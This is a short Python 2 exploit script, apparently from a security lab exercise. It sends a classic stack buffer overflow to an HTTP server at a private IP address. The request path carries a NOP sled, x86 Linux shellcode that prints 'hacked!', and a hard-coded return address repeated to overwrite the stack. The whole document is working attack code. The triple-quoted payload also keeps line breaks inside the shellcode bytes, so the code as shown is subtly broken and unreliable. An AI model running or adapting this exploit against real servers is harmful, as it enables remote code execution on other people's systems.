import httplib

host = "172.16.89.128"
port = 8000

buffer_addr = "\x98\xF1\xFF\xBF" # 0xbffff198
payload = """
\xEB\x19\x31\xC0\x31\xDB\x31\xD2\x31\xC9\xB0\x04\xB3
\x01\x59\xB2\x07\xCD\x80\x31\xC0\xB0\x01\x31\xDB\xCD
\x80\xE8\xE2\xFF\xFF\xFF\x68\x61\x63\x6B\x65\x64\x21
""".strip()
padding = 1

def overflow():
  nops = "\x90" * 100
  rets = buffer_addr * 200
  code = nops + payload + ("A" * padding) + rets
  return code

def exploit():
  connection = httplib.HTTPConnection(host, port)
  connection.request("GET", overflow())
  response = connection.getresponse()

if __name__ == "__main__":
  exploit()